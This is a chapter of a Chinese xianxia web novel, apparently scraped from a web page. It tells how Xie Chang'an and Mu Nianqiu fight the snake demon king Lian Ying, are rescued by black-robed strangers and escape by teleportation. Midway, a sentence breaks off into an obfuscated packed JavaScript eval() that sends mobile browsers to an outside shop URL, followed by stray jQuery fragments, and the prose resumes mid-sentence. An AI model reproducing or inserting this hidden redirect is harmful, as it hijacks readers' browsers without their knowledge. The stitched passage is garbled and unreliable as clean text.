谢常安见他情绪不对——事关父母的死因，任谁也没办法冷静，她默默拍了拍他的肩头，岔开话题道：“先别想这些了，沐师兄，咱们去南边看看再说吧，一切都还没有定论。”


    闻言，沐念秋回过神来，神色和缓了几分，微不可查地答道：“好。”


    “只是不知道这南边比邻的是什么地方，看着黑乎乎的……”


    朝南走出数里，已是暮色将至，星月升起，不过短短几里地，越往南走，温度却是越高了起来。


    “我是出现错觉了吗，怎么入夜了反而更暖和了？”谢常安双手扇风，自言自语道。


    那黑色的山峦迭起，脚下山峰寸草不生，谢常安和沐念秋磕磕绊绊踩在坚硬的石路上，一路十分闷热，叫人喘不过气来。正当时，她一脚踏上一块凸起的岩石，一股空间撕裂感油然而生，直冲天灵盖。


    她脑袋“嗡”的一声，眼前画面虚虚实实，重合割裂，看不真切。


    怎么回事？她眼花了吗？


    二人眼前白光一闪，恍惚间山岩重叠，刚才的一切仿佛只是幻觉，一道道闪电劈山开斧般倾泻而下，犹如金蛇狂舞，电闪雷鸣，映照地山岩犹如金石一般，几乎是一瞬间，暴雨倾盆，转眼功夫，已是雨雾蒸腾，一派朦胧。


    山峰之侧，是黑气缭绕，峡谷之下，是滚滚岩浆。


    一道人影从天而降，来人正是方才那毒蛇一般的女妖，她手握一道墨绿色长鞭，疾风骤雨之中站立山巅之上，来势汹汹，一鞭挥下，流光溢彩，如暴雨闪电，猎猎风声夹杂着道道闪电，一股毁天灭地的气势呼啸而至，竟是一上来就要不顾一切直取二人性命！


    女妖没了半分方才逗弄猎物的耐心，不再留力，一出手就是移山填海之势，妖力之强深不可测——和初遇时简直不可同日而语。


    沐念秋挥剑一挡，只一击，那不知从哪淘来的剑终于承受不住，断作数节，成了一地废铁。


    他索性扔掉剑柄，甩了甩震得发麻的手腕。


    “传闻中的妖王螣蛇连瑛，不过如此。”


    “死到临头了，还逞口舌之快。”


    看妖王连瑛的反应，他们是看见了绝对不该看见的东西了——那具被封印在树下的尸骨。


    可那么重要的东西会叫他们两个无名小卒误打误撞地发现吗？


    “你早知道我是谁，知道我父亲是谁，也知道我要来。”沐念秋试探道。


    螣蛇连瑛终于停下了攻击，“说说看。”


    “知道这些的，我想不出第二个人。”


    “没错。还有呢？”


    “螣蛇连瑛，老妖王最得力的干将，谁也没想到当年会是你杀了老妖王，把他的尸骨封印在天圆阵，称王名不正言不顺，如今又勾结沐家，在蜀中作乱，见事情败露，才着急灭口。我真好奇，你是给了他什么好处，值得他背叛仙盟，草菅人命！”


    “不愧是他的儿子，说的很对，但不全对。”


    “……”


    “我灭口，根本不是因为这些——就凭你们两个，还不足以撼动我分毫。我杀你，是因为你该死！你和你那个识人不清的爹一样，叫我恶心！”


    道道闪电夹杂着惊雷劈下，映照得连瑛青白的脸色犹如厉鬼，格外可怖。


    连瑛不再多言，抬手又是几鞭。武器已断，沐念秋只能仓促躲闪，暴雨冲刷掉了方才的酷热，可也浇得人睁不开眼睛。


    退无路，进亦无路。


    “沐念秋！”谢常安急道。


    沐念秋头也不回，赤手空拳又一次迎了上去。


    女妖轻笑一声，仿佛在嘲笑蝼蚁的不自量力。手上却使出十成十的法力，哪怕移平这个山头，也一点儿活路不给他们留。


    方圆十里一片焦黑寸草不生，凌厉的长鞭向沐念秋劈来，再无可避！


    谢常安万万不想死在这里，更没办法看着沐念秋一起死在这里。


    是她当初一意孤行要来查清师父的死因，是她自不量力地一次又一次将二人推至险境，如果没有她，或许沐念秋还能无知无虑地做他的沐家二少爷，而不是一步步卷入这些复杂的漩涡中。


    她为什么不能早点清醒，为什么要牵连旁人，为什么她这么弱小，师父的死，她一点儿办法也没有，师兄宁愿自己背负一切，也什么都不和她说，现在就连沐念秋也……


    如果能重来一次……


    时间突然静止，连珠般的水滴慢慢地凝固在她的脸颊，所有的雨丝仿佛有了形状，她心头一悸，身体里有什么东西仿佛在和周遭的雨水共鸣。


    她看见了一个格外鲜活的，不一样的世界。


    万物共生。


    周遭的一切在她眼里静止不动，故人犹在，小枫一缕神魂仿佛重新降临，护住了曾经萍水相逢却帮过自己的人。


    谢常安没时间细想眼前发生了什么，她趁此机会，飞快扑倒沐念秋，躲开了那记致命的攻击。只此一瞬，时间重新流转，暴雨如注，她浑身已犹如脱力一般，脚步虚浮，几乎站不稳。


    连瑛似乎也觉察到了什么，眼中闪过一丝的不可思议，手下一点儿不停，妖力不要钱似的狂轰乱炸，转眼又是一鞭挥来。


    再避无可避，谢常安不顾一切地挡在沐念秋身前。


    千钧一发，正当沐念秋一阵错愕，两道道黑影已至。


    螣蛇连瑛见来人，似乎并不十分吃惊，微微皱了皱眉，一脸不耐烦，轻声开口道：“你们也想死吗？”


    那两名人影皆穿一身黑袍，巨大的兜帽把脸遮了个严严实实，像是没听到，也不回答，乒乒乓乓冲上来就打。


    连瑛眼睛反而亮了亮，手中攻击更甚，似乎是在自言自语：“没关系，安生了这么多年，也该有点动静了。”


    谢常安却吃惊极了，这是哪里来的田螺姑娘，从天而降救她性命。她转头和沐念秋对视一眼，目瞪口呆地看着二人打得昏天黑地。


    “啊？”


    “啊……”


    峰回路转柳暗花明，天公作美天不亡我，逃命的唯一机会近在眼前了！


    -


    沐念秋拉起正鬼鬼祟祟四下张望的谢常安，飞快向山顶跑去，好在连瑛的三名手下这次并没有跟来，一路上无人阻拦。


    山巅之上无路可走，一道巨大的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885137|187170||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    裂缝横隔在山峰与对岸之间，裂缝下峡谷不知多深，只看得见滚滚流淌的岩浆，他却脚步不停，毫不犹豫地，一把将谢常安带入怀中，纵身一跃。


    “老天！”谢常安被这突如其来的变故吓得魂飞魄散，紧紧环住了沐念秋的腰。


    沐念秋从怀里摸出一颗金光闪闪的小球，抛向半空，与此同时，空气中白烟缭绕，雨水、闪电、一切仿佛都被隔在外面。


    “乾坤移位，虚空为桥；五行化气，一步逍遥！”


    千里传送阵——可扭转空间，一枚价值不菲，使用时需耗费极大的灵力。


    虚空中空气扭转，洞天大开，沐念秋以指为器，念念有词。


    “别想跑！”连瑛大喝一声。


    黑袍人见她注意到了逃跑的二人，步步紧逼，攻势更甚。


    不知那黑袍人是何来头，左右夹击竟丝毫不知疲倦，饶是女妖妖力无边，此刻也分身乏术无暇他顾。


    半空中白雾弥漫，谢常安二人就这么消失在了众人面前。


    -


    “亲爱的沐师兄，真希望你能提前说一声。”


    谢常安一身湿漉漉的水汽，抹了把脸，凉风一吹，她大大地打了个喷嚏。


    “对不起。”


    沐念秋方才的消耗极大，此时恢复成了人类的形态，蹲在一边像只落汤鸡。水滴顺着他的发丝滴落，他胸前衣襟全湿透了，眼尾红红的，睫毛湿漉漉地垂下来，似乎很是懊恼，端的是一副楚楚可怜的样子。


    “……没关系。”谢常安再说不出一句责备的话来。


    她一肚子抱怨没处使，轻飘飘地随着呼吸烟消云散了，心里暗道：我是鬼迷心窍了吗？


    暗暗掐了把自己的大腿，她从前就感觉到沐念秋长相十分出众，可以前二人并不算太熟，沐念秋又少言寡语，一副生人勿进的模样，不免叫人望而生畏，忽视掉他过人的容貌。


    如今朝夕相处，一起经历了这么多事情，谢常安自觉二人早已算是生死之交了，总是刻意或无意地不去注意他的容貌。


    她没什么和异性相处的经历，本该是少女怀春的年纪，可未及开窍就劈头盖脸地经历了一把颠沛流离，如今碰上这样的画面，一时间心里一阵无所适从，一颗心七上八下地一阵乱跳，不知该把这一腔小鹿乱撞安放在何处。


    “你怎么了，是不是着凉了？”沐念秋乘胜追击，凑近她耳畔轻声细语道。


    谢常安一个转身悄无声息地避开了他，若无其事地一阵忙活，边拧着衣摆上的雨水，边故作轻松道：“我……我们这是传到哪来了？”


    沐念秋却似是毫无察觉，狗皮膏药似的又贴上来，脑袋几乎要垂到她肩膀上。


    “不知道……”


    饶是二人离得已经足够近，谢常安也一点儿没听明白他后面说了句啥——这点儿音量除非是耳鬓厮磨的距离怕才能听得清。


    搞什么，他是故意的吧？


    她后知后觉地感觉出点儿不对劲，再没有不合时宜风花雪月的想法，心头一股无名火起。


    “你站直了！说话就好好说话，为什么要离这么近说话？”